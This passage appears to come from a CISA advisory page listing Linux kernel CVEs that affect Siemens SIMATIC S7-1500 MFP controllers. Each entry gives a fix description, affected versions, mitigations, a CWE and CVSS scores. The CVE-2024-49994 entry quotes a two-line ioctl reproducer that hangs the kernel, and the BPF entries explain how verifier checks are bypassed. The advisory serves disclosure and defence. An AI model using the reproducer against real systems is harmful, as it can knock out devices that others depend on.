<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-47736</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: erofs: handle overlapped pclusters out of crafted images properly syzbot reported a task hang issue due to a deadlock case where it is waiting for the folio lock of a cached folio that will be used for cache I/Os. After looking into the crafted fuzzed image, I found it's formed with several overlapped big pclusters as below: Ext: logical offset | length : physical offset | length 0: 0.. 16384 | 16384 : 151552.. 167936 | 16384 1: 16384.. 32768 | 16384 : 155648.. 172032 | 16384 2: 32768.. 49152 | 16384 : 537223168.. 537239552 | 16384 ... Here, extent 0/1 are physically overlapped although it's entirely _impossible_ for normal filesystem images generated by mkfs. First, managed folios containing compressed data will be marked as up-to-date and then unlocked immediately (unlike in-place folios) when compressed I/Os are complete. If physical blocks are not submitted in the incremental order, there should be separate BIOs to avoid dependency issues. However, the current code mis-arranges z_erofs_fill_bio_vec() and BIO submission which causes unexpected BIO waits. Second, managed folios will be connected to their own pclusters for efficient inter-queries. However, this is somewhat hard to implement easily if overlapped big pclusters exist. Again, these only appear in fuzzed images so let's simply fall back to temporary short-lived pages for correctness. Additionally, it justifies that referenced managed folios cannot be truncated for now and reverts part of commit 2080ca1ed3e4 ("erofs: tidy up `struct z_erofs_bvec`") for simplicity although it shouldn't be any difference.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-47736">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/404.html">CWE-404 Improper Resource Shutdown or Release</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-47809</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dlm: fix possible lkb_resource null dereference This patch fixes a possible null pointer dereference when this function is called from request_lock() as lkb-&gt;lkb_resource is not assigned yet, only after validate_lock_args() by calling attach_lkb(). Another issue is that a resource name could be a non printable bytearray and we cannot assume to be ASCII coded. The log functionality is probably never being hit when DLM is used in normal way and no debug logging is enabled. The null pointer dereference can only occur on a new created lkb that does not have the resource assigned yet, it probably never hits the null pointer dereference but we should be sure that other changes might not change this behaviour and we actually can hit the mentioned null pointer dereference. In this patch we just drop the printout of the resource name, the lkb id is enough to make a possible connection to a resource name if this exists.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-47809">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-49968</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: filesystems without casefold feature cannot be mounted with siphash When mounting the ext4 filesystem, if the default hash version is set to DX_HASH_SIPHASH but the casefold feature is not set, exit the mounting.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-49968">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-49994</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: block: fix integer overflow in BLKSECDISCARD I independently rediscovered commit 22d24a544b0d49bbcbd61c8c0eaf77d3c9297155 block: fix overflow in blk_ioctl_discard() but for secure erase. Same problem: uint64_t r[2] = {512, 18446744073709551104ULL}; ioctl(fd, BLKSECDISCARD, r); will enter near infinite loop inside blkdev_issue_secure_erase(): a.out: attempt to access beyond end of device loop0: rw=5, sector=3399043073, nr_sectors = 1024 limit=2048 bio_check_eod: 3286214 callbacks suppressed</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-49994">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-49998</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: dsa: improve shutdown sequence Alexander Sverdlin presents 2 problems during shutdown with the lan9303 driver. One is specific to lan9303 and the other just happens to reproduce there. The first problem is that lan9303 is unique among DSA drivers in that it calls dev_get_drvdata() at "arbitrary runtime" (not probe, not shutdown, not remove): phy_state_machine() -&gt; ... -&gt; dsa_user_phy_read() -&gt; ds-&gt;ops-&gt;phy_read() -&gt; lan9303_phy_read() -&gt; chip-&gt;ops-&gt;phy_read() -&gt; lan9303_mdio_phy_read() -&gt; dev_get_drvdata() But we never stop the phy_state_machine(), so it may continue to run after dsa_switch_shutdown(). Our common pattern in all DSA drivers is to set drvdata to NULL to suppress the remove() method that may come afterwards. But in this case it will result in an NPD. The second problem is that the way in which we set dp-&gt;conduit-&gt;dsa_ptr = NULL; is concurrent with receive packet processing. dsa_switch_rcv() checks once whether dev-&gt;dsa_ptr is NULL, but afterwards, rather than continuing to use that non-NULL value, dev-&gt;dsa_ptr is dereferenced again and again without NULL checks: dsa_conduit_find_user() and many other places. In between dereferences, there is no locking to ensure that what was valid once continues to be valid. Both problems have the common aspect that closing the conduit interface solves them. In the first case, dev_close(conduit) triggers the NETDEV_GOING_DOWN event in dsa_user_netdevice_event() which closes user ports as well. dsa_port_disable_rt() calls phylink_stop(), which synchronously stops the phylink state machine, and ds-&gt;ops-&gt;phy_read() will thus no longer call into the driver after this point. In the second case, dev_close(conduit) should do this, as per Documentation/networking/driver.rst: | Quiescence | ---------- | | After the ndo_stop routine has been called, the hardware must | not receive or transmit any data. All in flight packets must | be aborted. If necessary, poll or wait for completion of | any reset commands. So it should be sufficient to ensure that later, when we zeroize conduit-&gt;dsa_ptr, there will be no concurrent dsa_switch_rcv() call on this conduit. The addition of the netif_device_detach() function is to ensure that ioctls, rtnetlinks and ethtool requests on the user ports no longer propagate down to the driver - we're no longer prepared to handle them. The race condition actually did not exist when commit 0650bf52b31f ("net: dsa: be compatible with masters which unregister on shutdown") first introduced dsa_switch_shutdown(). It was created later, when we stopped unregistering the user interfaces from a bad spot, and we just replaced that sequence with a racy zeroization of conduit-&gt;dsa_ptr (one which doesn't ensure that the interfaces aren't up).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-49998">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-50014</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: fix access to uninitialised lock in fc replay path The following kernel trace can be triggered with fstest generic/629 when executed against a filesystem with fast-commit feature enabled: INFO: trying to register non-static key. The code is fine but needs lockdep annotation, or maybe you didn't initialize this object before use? turning off the locking correctness validator. CPU: 0 PID: 866 Comm: mount Not tainted 6.10.0+ #11 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-3-gd478f380-prebuilt.qemu.org 04/01/2014 Call Trace: dump_stack_lvl+0x66/0x90 register_lock_class+0x759/0x7d0 __lock_acquire+0x85/0x2630 ? __find_get_block+0xb4/0x380 lock_acquire+0xd1/0x2d0 ? __ext4_journal_get_write_access+0xd5/0x160 _raw_spin_lock+0x33/0x40 ? __ext4_journal_get_write_access+0xd5/0x160 __ext4_journal_get_write_access+0xd5/0x160 ext4_reserve_inode_write+0x61/0xb0 __ext4_mark_inode_dirty+0x79/0x270 ? ext4_ext_replay_set_iblocks+0x2f8/0x450 ext4_ext_replay_set_iblocks+0x330/0x450 ext4_fc_replay+0x14c8/0x1540 ? jread+0x88/0x2e0 ? rcu_is_watching+0x11/0x40 do_one_pass+0x447/0xd00 jbd2_journal_recover+0x139/0x1b0 jbd2_journal_load+0x96/0x390 ext4_load_and_init_journal+0x253/0xd40 ext4_fill_super+0x2cc6/0x3180 ... In the replay path there's an attempt to lock sbi-&gt;s_bdev_wb_lock in function ext4_check_bdev_write_error(). Unfortunately, at this point this spinlock has not been initialized yet. Moving it's initialization to an earlier point in __ext4_fill_super() fixes this splat.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-50014">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/457.html">CWE-457 Use of Uninitialized Variable</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-50063</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Prevent tail call between progs attached to different hooks bpf progs can be attached to kernel functions, and the attached functions can take different parameters or return different return values. If prog attached to one kernel function tail calls prog attached to another kernel function, the ctx access or return value verification could be bypassed. For example, if prog1 is attached to func1 which takes only 1 parameter and prog2 is attached to func2 which takes two parameters. Since verifier assumes the bpf ctx passed to prog2 is constructed based on func2's prototype, verifier allows prog2 to access the second parameter from the bpf ctx passed to it. The problem is that verifier does not prevent prog1 from passing its bpf ctx to prog2 via tail call. In this case, the bpf ctx passed to prog2 is constructed from func1 instead of func2, that is, the assumption for ctx access verification is bypassed. Another example, if BPF LSM prog1 is attached to hook file_alloc_security, and BPF LSM prog2 is attached to hook bpf_lsm_audit_rule_known. Verifier knows the return value rules for these two hooks, e.g. it is legal for bpf_lsm_audit_rule_known to return positive number 1, and it is illegal for file_alloc_security to return positive number. So verifier allows prog2 to return positive number 1, but does not allow prog1 to return positive number. The problem is that verifier does not prevent prog1 from calling prog2 via tail call. In this case, prog2's return value 1 will be used as the return value for prog1's hook file_alloc_security. That is, the return value rule is bypassed. This patch adds restriction for tail call to prevent such bypasses.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-50063">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/841.html">CWE-841 Improper Enforcement of Behavioral Workflow</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-50164</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Fix overloading of MEM_UNINIT's meaning Lonial reported an issue in the BPF verifier where check_mem_size_reg() has the following code: if (!tnum_is_const(reg-&gt;var_off)) /* For unprivileged variable accesses, disable raw * mode so that the program is required to * initialize all the memory that the helper could * just partially fill up. */ meta = NULL; This means that writes are not checked when the register containing the size of the passed buffer has not a fixed size. Through this bug, a BPF program can write to a map which is marked as read-only, for example, .rodata global maps. The problem is that MEM_UNINIT's initial meaning that "the passed buffer to the BPF helper does not need to be initialized" which was added back in commit 435faee1aae9 ("bpf, verifier: add ARG_PTR_TO_RAW_STACK type") got overloaded over time with "the passed buffer is being written to". The problem however is that checks such as the above which were added later via 06c1c049721a ("bpf: allow helpers access to variable memory") set meta to NULL in order force the user to always initialize the passed buffer to the helper. Due to the current double meaning of MEM_UNINIT, this bypasses verifier write checks to the memory (not boundary checks though) and only assumes the latter memory is read instead. Fix this by reverting MEM_UNINIT back to its original meaning, and having MEM_WRITE as an annotation to BPF helpers in order to then trigger the BPF verifier checks for writing to memory. Some notes: check_arg_pair_ok() ensures that for ARG_CONST_SIZE{,_OR_ZERO} we can access fn-&gt;arg_type[arg - 1] since it must contain a preceding ARG_PTR_TO_MEM. For check_mem_reg() the meta argument can be removed altogether since we do check both BPF_READ and BPF_WRITE. Same for the equivalent check_kfunc_mem_size_reg().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-50164">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-50298</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: enetc: allocate vf_state during PF probes In the previous implementation, vf_state is allocated memory only when VF is enabled. However, net_device_ops::ndo_set_vf_mac() may be called before VF is enabled to configure the MAC address of VF. If this is the case, enetc_pf_set_vf_mac() will access vf_state, resulting in access to a null pointer. The simplified error log is as follows. root@ls1028ardb:~# ip link set eno0 vf 1 mac 00:0c:e7:66:77:89 [ 173.543315] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000004 [ 173.637254] pc : enetc_pf_set_vf_mac+0x3c/0x80 Message from sy [ 173.641973] lr : do_setlink+0x4a8/0xec8 [ 173.732292] Call trace: [ 173.734740] enetc_pf_set_vf_mac+0x3c/0x80 [ 173.738847] __rtnl_newlink+0x530/0x89c [ 173.742692] rtnl_newlink+0x50/0x7c [ 173.746189] rtnetlink_rcv_msg+0x128/0x390 [ 173.750298] netlink_rcv_skb+0x60/0x130 [ 173.754145] 